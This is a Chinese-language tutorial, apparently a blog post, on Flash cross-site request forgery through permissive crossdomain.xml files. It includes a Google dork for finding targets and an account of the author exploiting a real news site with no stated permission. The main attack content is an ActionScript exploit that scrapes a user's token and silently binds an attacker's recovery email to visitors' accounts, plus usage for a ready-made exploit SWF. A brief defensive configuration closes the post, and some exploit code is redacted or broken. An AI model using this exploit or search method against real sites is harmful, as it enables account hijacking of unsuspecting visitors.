0x00 Flash CSRF 名詞解釋
0x01 Flash CSRF形成的原因
0x02 Flash CSRF可以干些什么
0x03 Flash CSRF如何利用
0x04 Flash CSRF怎么防御
CSRF(Cross-site request forgery跨站請求偽造,是一種對網站的惡意利用,CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。
Flash CSRF通常是由于Crossdomain.xml文件配置不當造成的,利用方法是使用swf來發起跨站請求偽造。
So 官腔我們也打了,還是要干點實事PS::)
為人民服務的好孩子,我們來看看如何尋找Flash CSRF:
首先我們要知道怎么形成CSRF的
PS:CSRF形成的原因大概有以下幾種:
Flash跨域權限管理文件設置為允許所有主機/域名跨域對本站進行讀寫數據:
#!xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from?domain="*"/>
</cross-domain-policy>
Flash跨域權限管理文件過濾規則不嚴(domain=”*”),導致可以從其它任何域傳Flash產生CSRF。
騷年們,前面我們介紹了形成Flash CSRF的原因,我們是不是就可以對站下藥了,難道又有一波個人資料被莫名被修改成“狗皮膏藥”廣告的節奏啊,敬告各位看官,看見了這篇文章之后請檢查自己的站是否存在Flash CSRF以免減少被舉報而帶來的巨額損失啊(吊絲們對各位看官望塵莫及啊):
由上面我們得知Flash CSRF是因為跨域權限管理文件配置不當而產生的,所以我們可以在根目錄打開Crossdomain.xml來查看該網站或者只域名是否存在FLAH的CSRF:
http://www.xxx.com/crossdomain.xml
#!xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from?domain="*"/>
</cross-domain-policy>
在一個月黑風高的夜晚,Flash CSRF慢慢的在向XX網靠近,下面說說我是怎么找到XX網的Flash CSRF和利用XX網的Flash CSRF直接修改訪問者賬號信息。
無聊的逛著各大新聞網站,感覺這些大部分新聞網站的新聞源都差不多沒幾下就看完了,最后覺得自己作為天朝一員還是應該關系關系下國家大事,就懵懂懂的打開了XX網,關心了下我國基本國情,始終耐不住寂寞,正好前兩天學習了Flash CSRF的原理和危害,但是一直沒找到東西練手,大家都知道天朝的網站是多么的牛B,但是也只是抱著試試的心態,完全就是小孩子玩玩泥巴而已了,玩笑時間到,回到正題:),我先打開xx網,按照剛剛前面查找該網站是否有Flash CSRF漏洞我們第一步該判斷什么?沒錯就是看官們看到的這樣,我也只是個凡人而已。。。。于是就有了如下的FlashCSRF漏洞查找流程:
Google hack:crossdomain filetype:xml
#!xml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<cross-domain-policy>
<allow-access-from?domain="*" secure=”true”/>
</cross-domain-policy>
Secure=true的意思是只允許通過安全鏈接來請求本域的數據。
隨手查看了發現前2個全都是需要用ssl證書加密了之后的網站里面的Flash的文件才能獲取本域的內容,突然之間腦海就浮現了一種奇怪的想法,自己搭建SSL網站,然后調用Flash文件進去不就可以讀他們網站的數據和發送post請求,可是又遇見瓶頸了,找了這么多地方我Flash還沒有地方可以插的,在不屑努力下,找到BLOG根目錄下面的CrossDomain.xml文件居然允許所有主機的Flash讀取本域的數據-PS:),下面我們就試試BLOG頁面,發現也有,當然耐心也是必須的。
我們找一個可以插入Flash的地方,插入我們自己寫的Flash,訪客訪問我們網頁就會執行我們寫的腳本,下面我們來看看Flash CSRF具體利用方法。 So~下面我們來制造一個訪客訪問我們鏈接的時候,自動設置自己的密保郵箱:
首先我們添加保密郵箱點提交,然后抓包分析它提交了什么內容,然后來構造我們的Flash CSRF利用代碼,下面我們提交綁定保密郵箱請求,抓包分析它的數據。 申請保密郵箱,瀏覽器向服務端發送了一個POST請求,請求地址和參數為:
POST:xxx.xxx.xx/xx.jsp?userid=xxxx&[email protected]
[email protected]ferer,但是頁面驗證了Token,所以我們就可以直接把POST數據包中的請求地址,參數名,參數值,Token值取出來用于偽造綁定保密郵箱的請求。
利用代碼:
#!as3
package {
import flash.display.Sprite;
import flash.events.Event;
import flash.net.*;
import flash.text.TextField;
public class url extends Sprite
{
public function url()
{
//獲取當前頁面userid/token
var echo_txt:TextField = new TextField();
var targetURL:String = "http://xx.xx.cc";
var request:URLRequest = new URLRequest(targetURL);
request.method = URLRequestMethod.GET;
request.data = "";
sendToURL(request);
var loader:URLLoader=new URLLoader();
loader.addEventListener(Event.COMPLETE,completeHandler);
function completeHandler(event:Event):void{
var userid:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?xxid=(\d+)/)||["",""])[1];
var masthash:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?masthash=(\d+)/)||["",""])[1];
echo_txt.text = masthash;
//偽造申請密保郵箱POST請求
var emailtargetURL:String = "http://xxxxxx.xx.cc/xxxx/xxxx.jsp?mark=send";
var emailrequest:URLRequest = new URLRequest(emailtargetURL);
emailrequest.method = URLRequestMethod.POST;
var postdata:Object = new Array();
postdata[0]="[email protected]&xxxx="+xxxxx&"xxxxx="+xxx;
emailrequest.data = postdata[0];
sendToURL(emailrequest);
}
loader.load(request);
}
}
}
我們用一個新賬號來做測試看看效果 :)
知道Flash CSRF攻擊流程,然后在防御就so easy了~:)
媽媽再也不擔心我被Flash CSRF啦~雖然各位看官都明白了怎么防御,但是還是照例啰嗦一下啦:
一句話概括:站點根目錄CrossDomain.xml跨域獲取信息權限控制好,精確到子域,不給不法分子留下機會!! 附一份自己網站的CrossDomain.xml文件權限配置:
#!xml
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="http://xx.xx.com" secure="true”/>
<allow-access-from domain="http://cc.xx.com" secure="true”/>
</cross-domain-policy>
根據自己的業務需求來更改CrossDomain.xml文件配置,切記精確到子域,這樣會大大減少Flash CSRF的風險!
通用Flash CSRF EXP : FlashCSRFexp.swf
使用方法:
FlashCSRFexp.swf?url=http://www.xx.xx/x.jsp?&xx=xx&xx=xx&xx=xx&xx=xx
PS:url=[post請求的地址]&[參數值用&分開]
謝謝各位大牛捧場,十分感謝二哥,長短短,PKAV團隊的技術栽培 :)~